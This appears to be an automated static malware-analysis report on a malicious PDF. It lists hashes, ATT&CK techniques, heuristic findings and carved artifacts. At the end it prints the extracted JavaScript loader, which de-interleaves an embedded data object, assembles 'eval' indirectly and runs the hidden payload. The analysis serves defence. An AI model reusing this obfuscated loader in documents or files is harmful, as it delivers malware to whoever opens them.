Malicious PDF — malware analysis report

Static analysis result for SHA-256 a99c91fa3a5df972…

MALICIOUS

PDF

5.9 KB First seen: 2026-05-09
MD5: e75d250938e09b38e8d2cac3175c364a SHA-1: abc3b5d594b473c1402ea48155d0771cf486a77c SHA-256: a99c91fa3a5df972c791934d0875cd950879c207bfd1b7c5f237f925d4fc8d47
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file was flagged by a machine learning classifier with high confidence as malicious. Static analysis revealed embedded JavaScript and an embedded binary file, indicating a likely attempt to deliver a secondary payload. The presence of these embedded objects strongly suggests an attack pattern focused on exploiting the PDF viewer or executing the embedded content.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 149220 bytes
SHA-256: 272ddba6ddb684091a95bdf77c45df490f7d04ea1f0dcdaea448377375f0a5d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
323 of 323 identifiers look randomly generated (e.g. 'JTJT5om8pLW7YVJCr1JTJT5om8pLW7YVJCr2JTJT') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);